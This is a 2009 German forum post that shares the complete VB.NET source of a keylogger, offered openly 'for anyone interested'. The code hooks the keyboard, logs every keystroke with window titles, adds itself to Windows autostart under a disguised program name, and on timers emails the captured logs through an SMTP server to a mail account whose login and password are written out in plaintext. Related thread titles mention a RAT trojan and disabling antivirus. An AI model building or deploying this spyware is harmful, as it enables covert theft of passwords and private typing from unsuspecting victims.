#1

VB 2008 Keylogger

in Programmieren 09.11.2009 22:13
von Cyber250 | 8 Beiträge | 8 Punkte

Hier der Code wer sich interessiert^^
Ist relativ simpel


Imports System.IO
Imports System.Net.Mail
Imports Microsoft.Win32

Public Class Main

#Region "Global"
Public Const WM_HOTKEY As Integer = &H312
Public Declare Function RegisterHotKey Lib "user32" (ByVal hwnd As IntPtr, ByVal id As Integer, ByVal fsModifiers As Integer, ByVal vk As Integer) As Integer
Public Declare Function UnregisterHotKey Lib "user32" (ByVal hwnd As IntPtr, ByVal id As Integer) As Integer
Private Const Alt As Integer = &H1
Public Const Control As Integer = &H2
Public Const K As Integer = &H4B
#End Region

#Region "API Functions"
Private Const WM_KEYUP As Integer = &H101
Private Const WM_KEYDOWN As Short = &H100S
Private Const WM_SYSKEYDOWN As Integer = &H104
Private Const WM_SYSKEYUP As Integer = &H105

Public Structure KBDLLHOOKSTRUCT
Public vkCode As Integer
Public scanCode As Integer
Public flags As Integer
Public time As Integer
Public dwExtraInfo As Integer
End Structure

Enum virtualKey
K_Return = &HD
K_Backspace = &H8
K_Space = &H20
K_Tab = &H9
K_Esc = &H1B
K_Control = &H11
K_LControl = &HA2
K_RControl = &HA3
K_Delete = &H2E
K_End = &H23
K_Home = &H24
K_Insert = &H2D
K_Shift = &H10
K_LShift = &HA0
K_RShift = &HA1
K_Pause = &H13
K_PrintScreen = 44
K_LWin = &H5B
K_RWin = &H5C
K_Alt = &H12
K_LAlt = &HA4
K_RAlt = &HA5
K_NumLock = &H90
K_ScrollLock = 145
K_CapsLock = &H14
K_Up = &H26
K_Down = &H28
K_Right = &H27
K_Left = &H25
K_F1 = &H70
K_F2 = &H71
K_F3 = &H72
K_F4 = &H73
K_F5 = &H74
K_F6 = &H75
K_F7 = &H76
K_F8 = &H77
K_F9 = &H78
K_F10 = &H79
K_F11 = &H7A
K_F12 = &H7B
K_F13 = &H7C
K_F14 = &H7D
K_F15 = &H7E
K_F16 = &H7F
K_F17 = &H80
K_F18 = &H81
K_F19 = &H82
K_F20 = &H83
K_F21 = &H84
K_F22 = &H85
K_F23 = &H86
K_F24 = &H87
K_Numpad0 = &H60
K_Numpad1 = &H61
K_Numpad2 = &H62
K_Numpad3 = &H63
K_Numpad4 = &H64
K_Numpad5 = &H65
K_Numpad6 = &H66
K_Numpad7 = &H67
K_Numpad8 = &H68
K_Numpad9 = &H69
K_Num_Add = &H6B
K_Num_Divide = &H6F
K_Num_Multiply = &H6A
K_Num_Subtract = &H6D
K_Num_Decimal = &H6E
K_0 = &H30
K_1 = &H31
K_2 = &H32
K_3 = &H33
K_4 = &H34
K_5 = &H35
K_6 = &H36
K_7 = &H37
K_8 = &H38
K_9 = &H39
K_A = &H41
K_B = &H42
K_C = &H43
K_D = &H44
K_E = &H45
K_F = &H46
K_G = &H47
K_H = &H48
K_I = &H49
K_J = &H4A
K_K = &H4B
K_L = &H4C
K_M = &H4D
K_N = &H4E
K_O = &H4F
K_P = &H50
K_Q = &H51
K_R = &H52
K_S = &H53
K_T = &H54
K_U = &H55
K_V = &H56
K_W = &H57
K_X = &H58
K_Y = &H59
K_Z = &H5A
K_Subtract = 189
K_Decimal = 190
K_Raute = 191
K_Beistrich = 188
K_Hoch = 220
K_App = 221
K_Ss = 219
K_Klein = 226
K_Menu = 93
K_PicUp = 33
K_PicDown = 34
K_NumlockOn0 = 96
K_NumlockOn1 = 97
K_NumlockOn2 = 98
K_NumlockOn3 = 99
K_NumlockOn4 = 100
K_NumlockOn5 = 101
K_NumlockOn6 = 102
K_NumlockOn7 = 103
K_NumlockOn8 = 104
K_NumlockOn9 = 105
K_ü = 186
K_ä = 222
K_ö = 192
K_Plus2 = 187
K_DefaultMailLook = 180
K_SetSoundLouder = 175
K_SetSoundQuiet = 174
K_OpenDefaultBrowser = 172
K_Sleep = 95
K_Calc = 183
K_MediaPlayer = 181
K_Play_Pause = 179
K_Stop = 178
K_CallExplorer = 182
K_PlayForward = 176
K_PlayBackward = 177
K_EnableSound = 173

End Enum

Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Integer) As Integer
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Integer, ByVal lpfn As KeyboardHookDelegate, ByVal hmod As Integer, ByVal dwThreadId As Integer) As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Private Delegate Function KeyboardHookDelegate(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
#End Region

#Region "Keylog"

Private KeyboardHandle As IntPtr = 0
Private LastCheckedForegroundTitle As String = ""
Private callback As KeyboardHookDelegate = Nothing
Private KeyLog As String

Private Function GetActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
Return MyStr
End Function

Private Function Hooked()
Return KeyboardHandle <> 0
End Function

Public Sub HookKeyboard()
callback = New KeyboardHookDelegate(AddressOf KeyboardCallback)
KeyboardHandle = SetWindowsHookEx(13, callback, Process.GetCurrentProcess.MainModule.BaseAddress, 0)
If KeyboardHandle <> 0 Then
End If
End Sub

Public Sub UnhookKeyboard()
If (Hooked()) Then
If UnhookWindowsHookEx(KeyboardHandle) <> 0 Then
KeyboardHandle = 0
End If
End If
End Sub

Public Function KeyboardCallback(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
Dim CurrentTitle = GetActiveWindowTitle()
Dim GetShift As Boolean = My.Computer.Keyboard.ShiftKeyDown
Dim GetCaps As Boolean = My.Computer.Keyboard.CapsLock
Dim GetAlt As Boolean = My.Computer.Keyboard.AltKeyDown
Dim GetControl As Boolean = My.Computer.Keyboard.CtrlKeyDown
If CurrentTitle <> LastCheckedForegroundTitle Then
LastCheckedForegroundTitle = CurrentTitle
KeyLog &= vbCrLf & "------------ " & CurrentTitle & " (" & Now.ToString() & ") ------------" & vbCrLf & vbCrLf
End If
Dim Key As String = ""
If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then
If Code >= 0 Then
If My.Computer.Keyboard.CtrlKeyDown And My.Computer.Keyboard.AltKeyDown And lParam.vkCode = virtualKey.K_S Then
Me.Visible = Not Me.Visible
Return 1
End If
End If


Select Case lParam.vkCode
Case virtualKey.K_0 To virtualKey.K_9
'Key = ChrW(lParam.vkCode)
Select Case ChrW(lParam.vkCode)
Case "1"
If GetShift = False Then Key = "1" Else Key = "!"
If GetCaps = True Then Key = "!"
If GetCaps = True And GetShift = True Then Key = "1"
Case "2"
If GetShift = False Then Key = "2" Else Key = """"
If GetCaps = True Then Key = """"
If GetCaps = True And GetShift = True Then Key = "2"
If GetControl = True And GetAlt = True Then Key = "²"
Case "3"
If GetShift = False Then Key = "3" Else Key = "§"
If GetCaps = True Then Key = "§"
If GetCaps = True And GetShift = True Then Key = "3"
If GetControl = True And GetAlt = True Then Key = "³"
Case "4"
If GetShift = False Then Key = "4" Else Key = "$"
If GetCaps = True Then Key = "$"
If GetCaps = True And GetShift = True Then Key = "4"
Case "5"
If GetShift = False Then Key = "5" Else Key = "%"
If GetCaps = True Then Key = "%"
If GetCaps = True And GetShift = True Then Key = "5"
Case "6"
If GetShift = False Then Key = "6" Else Key = "&"
If GetCaps = True Then Key = "&"
If GetCaps = True And GetShift = True Then Key = "6"
Case "7"
If GetShift = False Then Key = "7" Else Key = "/"
If GetCaps = True Then Key = "/"
If GetCaps = True And GetShift = True Then Key = "7"
If GetControl = True And GetAlt = True Then Key = "{"
Case "8"
If GetShift = False Then Key = "8" Else Key = "("
If GetCaps = True Then Key = "("
If GetCaps = True And GetShift = True Then Key = "8"
If GetControl = True And GetAlt = True Then Key = "["
Case "9"
If GetShift = False Then Key = "9" Else Key = ")"
If GetCaps = True Then Key = ")"
If GetCaps = True And GetShift = True Then Key = "9"
If GetControl = True And GetAlt = True Then Key = "]"
Case "0"
If GetShift = False Then Key = "0" Else Key = "="
If GetCaps = True Then Key = "="
If GetCaps = True And GetShift = True Then Key = "0"
If GetControl = True And GetAlt = True Then Key = "}"
End Select
Case virtualKey.K_Raute
If GetShift = False Then Key = "#" Else Key = "'"
If GetCaps = True Then Key = "'"
If GetCaps = True And GetShift = True Then Key = "#"
Case virtualKey.K_Beistrich, virtualKey.K_Num_Decimal
If GetShift = False Then Key = "," Else Key = ";"
If GetCaps = True Then Key = ";"
If GetCaps = True And GetShift = True Then Key = ","
Case virtualKey.K_Hoch
If GetShift = False Then Key = "^" Else Key = "°"
Case virtualKey.K_App
If GetShift = False Then Key = "´" Else Key = "`"
Case virtualKey.K_Ss
If GetShift = False Then Key = "ß" Else Key = "?"
If GetCaps = True Then Key = "?"
If GetCaps = True And GetShift = True Then Key = "ß"
If GetControl = True And GetAlt = True Then Key = "\"
Case virtualKey.K_Klein
If GetShift = False Then Key = "<" Else Key = ">"
If GetControl = True And GetAlt = True Then Key = "|"
Case virtualKey.K_A To virtualKey.K_Z
If GetShift = False Then Key = ChrW(lParam.vkCode + 32) Else Key = UCase(ChrW(lParam.vkCode + 32))
If GetCaps = True Then Key = UCase(ChrW(lParam.vkCode + 32))
If GetCaps = True And GetShift = True Then Key = ChrW(lParam.vkCode + 32)
Case virtualKey.K_Decimal
If GetShift = False Then Key = "." Else Key = ":"
If GetCaps = True Then Key = ":"
If GetCaps = True And GetShift = True Then Key = "."
Case virtualKey.K_Subtract
If GetShift = False Then Key = "-" Else Key = "_"
Case virtualKey.K_Num_Subtract
Key = "-"
Case virtualKey.K_Num_Add
Key = "+"
Case virtualKey.K_ö
If GetShift = False Then Key = "ö" Else Key = "Ö"
If GetCaps = True Then Key = "Ö"
Case virtualKey.K_ä
If GetShift = False Then Key = "ä" Else Key = "Ä"
If GetCaps = True Then Key = "Ä"
Case virtualKey.K_ü
If GetShift = False Then Key = "ü" Else Key = "Ü"
If GetCaps = True Then Key = "Ü"
Case virtualKey.K_Plus2
If GetShift = False Then Key = "+" Else Key = "*"
If GetCaps = True Then Key = "*"
If GetCaps = True And GetShift = True Then Key = "+"
If GetControl = True And GetAlt = True Then Key = "~"
Case virtualKey.K_Num_Multiply
Key = "*"
Case virtualKey.K_Num_Divide
Key = "/"
Case virtualKey.K_Space
Key = " "
'Case virtualKey.K_RControl, virtualKey.K_LControl
' Key = ""
'Case virtualKey.K_LAlt
' Key = ""
'Case virtualKey.K_RAlt
' Key = ""
'Case virtualKey.K_LShift, virtualKey.K_RShift
' Key = ""
Case virtualKey.K_Return
Key = vbCrLf
Case virtualKey.K_Tab
Key = vbTab
Case virtualKey.K_Delete
Key = ""
Case virtualKey.K_Esc
Key = ""
Case virtualKey.K_ScrollLock
If My.Computer.Keyboard.ScrollLock Then
Key = ""
Else
Key = ""
End If
'Case virtualKey.K_CapsLock
' If My.Computer.Keyboard.CapsLock Then
' Key = ""
' Else
' Key = ""
' End If
Case virtualKey.K_F1 To virtualKey.K_F24
Key = ""
Case virtualKey.K_Right
Key = ""
Case virtualKey.K_Down
Key = ""
Case virtualKey.K_Left
Key = ""
Case virtualKey.K_Up
Key = ""
Case virtualKey.K_Backspace
Key = ""
Case virtualKey.K_End
Key = ""
Case virtualKey.K_RWin, virtualKey.K_LWin
Key = ""
Case virtualKey.K_NumLock
If My.Computer.Keyboard.NumLock Then Key = "" Else Key = ""
Case virtualKey.K_Pause
Key = ""
Case virtualKey.K_PrintScreen
Key = ""
Case virtualKey.K_Home
Key = ""
Case virtualKey.K_Insert
Key = ""
Case virtualKey.K_Menu
Key = ""
Case virtualKey.K_PicUp
Key = ""
Case virtualKey.K_PicDown
Key = ""
Case virtualKey.K_NumlockOn0 To virtualKey.K_NumlockOn9
Key = (lParam.vkCode - 96).ToString
Case virtualKey.K_DefaultMailLook
Key = ""
Case virtualKey.K_SetSoundLouder
Key = ""
Case virtualKey.K_SetSoundQuiet
Key = ""
Case virtualKey.K_OpenDefaultBrowser
Key = ""
Case virtualKey.K_Sleep
Key = ""
Case virtualKey.K_Calc
Key = ""
Case virtualKey.K_MediaPlayer
Key = ""
Case virtualKey.K_Play_Pause
Key = ""
Case virtualKey.K_Stop
Key = ""
Case virtualKey.K_CallExplorer
Key = ""
Case virtualKey.K_PlayForward
Key = ""
Case virtualKey.K_PlayBackward
Key = ""
Case virtualKey.K_EnableSound
Key = ""
'Case Else
' Key = lParam.vkCode
End Select
'ElseIf wParam = WM_KEYUP Or wParam = WM_SYSKEYUP Then
' Select Case lParam.vkCode
' Case virtualKey.K_RControl, virtualKey.K_LControl
' Key = "
"
' Case virtualKey.K_LAlt
' Key = ""
' Case virtualKey.K_RAlt
' Key = ""
' Case virtualKey.K_LShift, virtualKey.K_RShift
' Key = ""
' End Select
End If

If GetControl = True And GetAlt = True Then
If Key = "q" Then
Key = "@"
ElseIf Key = "m" Then
Key = "µ"
End If
End If

If Key = "" Then
txtLog.Text = txtLog.Text.Substring(0, txtLog.Text.Length - 1)
Key = Nothing
End If
KeyLog &= Key

If Key <> "" Then
Me.txtLog.AppendText(Key.ToString)
End If
Return CallNextHookEx(KeyboardHandle, Code, wParam, lParam)
End Function
#End Region

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
'in registry eintragen
Dim MeinKey As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
MeinKey.SetValue("Cartman v 1.3.3", Application.StartupPath & "\Cartman v 1.3.3.exe")

RegisterHotKey(Me.Handle, 9, Alt Or Control, K)
Call HookKeyboard()

'coutdown-funktion
Timer1.Interval = 1000

Label1.Text = 300
Timer1.Start()

'coutdown-funktion 2
Timer2.Interval = 900

Label2.Text = 100
Timer2.Start()
End Sub

Private Sub Form1_FormClosing(ByVal sender As System.Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles MyBase.FormClosing
UnregisterHotKey(Me.Handle, 9)
Call UnhookKeyboard()
'Dim Header As String = ""
'Dim CurrentTitle = GetActiveWindowTitle()
'If CurrentTitle <> LastCheckedForegroundTitle Then
' LastCheckedForegroundTitle = CurrentTitle
' Header &= vbCrLf & "----------- " & CurrentTitle & " (" & Now.ToString() & ") ------------" & vbCrLf & vbCrLf
'End If
On Error GoTo A
If txtLog.Text <> "" Then
My.Computer.FileSystem.WriteAllText(CurDir() & "\Cartman.txt", KeyLog & vbNewLine & vbNewLine, True)
End If
A:

End Sub

Protected Overrides Sub WndProc(ByRef m As System.Windows.Forms.Message)
If m.Msg = WM_HOTKEY Then

End If
MyBase.WndProc(m)
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim N As Integer = CType(Label1.Text, Integer)
Label1.Text = CType(N - 1, String)
If N = 1 Then
Timer1.Stop()



'email senden
Dim Msg As New MailMessage
Dim myCredentials As New System.Net.NetworkCredential
myCredentials.UserName = "ml1900@gmx.de"
myCredentials.Password = "keinplan21"

Msg.IsBodyHtml = False

Dim mySmtpsvr As New SmtpClient()
mySmtpsvr.Host = "smtp.gmx.net"
mySmtpsvr.Port = 25

mySmtpsvr.UseDefaultCredentials = False
mySmtpsvr.Credentials = myCredentials

Try
Msg.From = New MailAddress("ml1900@gmx.de")
Msg.To.Add("ml1900@gmx.de")
Msg.Subject = "KAY Log"
Msg.Body = txtLog.Text
mySmtpsvr.Send(Msg)
Catch ex As Exception

End Try

'Counter zurück setzen

Label1.Text = 50
Timer1.Start()

End If
End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim N As Integer = CType(Label2.Text, Integer)
Label2.Text = CType(N - 1, String)
If N = 1 Then
Timer2.Stop()

My.Computer.FileSystem.WriteAllText(CurDir() & "\Cartman.txt", "log:", True)

'text einfügen
TextBox1.Text = My.Computer.FileSystem.ReadAllText(CurDir() & "\Cartman.txt")


'email senden
Dim Msg As New MailMessage
Dim myCredentials As New System.Net.NetworkCredential
myCredentials.UserName = "ml1900@gmx.de"
myCredentials.Password = "keinplan21"

Msg.IsBodyHtml = False

Dim mySmtpsvr As New SmtpClient()
mySmtpsvr.Host = "smtp.gmx.net"
mySmtpsvr.Port = 25

mySmtpsvr.UseDefaultCredentials = False
mySmtpsvr.Credentials = myCredentials

Try
Msg.From = New MailAddress("ml1900@gmx.de")
Msg.To.Add("ml1900@gmx.de")
Msg.Subject = "15 min Log übersicht"
Msg.Body = TextBox1.Text
mySmtpsvr.Send(Msg)
Catch ex As Exception

End Try

'Counter2 zurück setzen

Label2.Text = 100
Timer2.Start()

End If
End Sub
End Class




________________________
Ende

zuletzt bearbeitet 09.11.2009 22:14 | nach oben springen


Ähnliche Themen Antworten/Neu Letzter Beitrag⁄Zugriffe
both teams barely made
Erstellt im Forum News von qiaohai
3 12.04.2012 07:08goto
von jerseytopfans • Zugriffe: 575
VB.net RAT Trojaner Video TuT von mir...
Erstellt im Forum Programmieren von TRSK
0 29.12.2011 09:53goto
von TRSK • Zugriffe: 267
Keylogger
Erstellt im Forum Viren von Jan
5 17.04.2010 13:56goto
von TRSK • Zugriffe: 713
Anti-Viren kill
Erstellt im Forum Programmieren von Cyber250
0 09.11.2009 21:57goto
von Cyber250 • Zugriffe: 347
Dieses Forum ist Orginal von -> http://cs-trsk.de.tl
Besucher
0 Mitglieder und 1 Gast sind Online

Wir begrüßen unser neuestes Mitglied: quickbooks
Besucherzähler
Heute waren 6 Gäste online.

Forum Statistiken
Das Forum hat 114 Themen und 551 Beiträge.

Heute waren 0 Mitglieder Online:



Xobor Forum Software von Xobor.de
Einfach ein Forum erstellen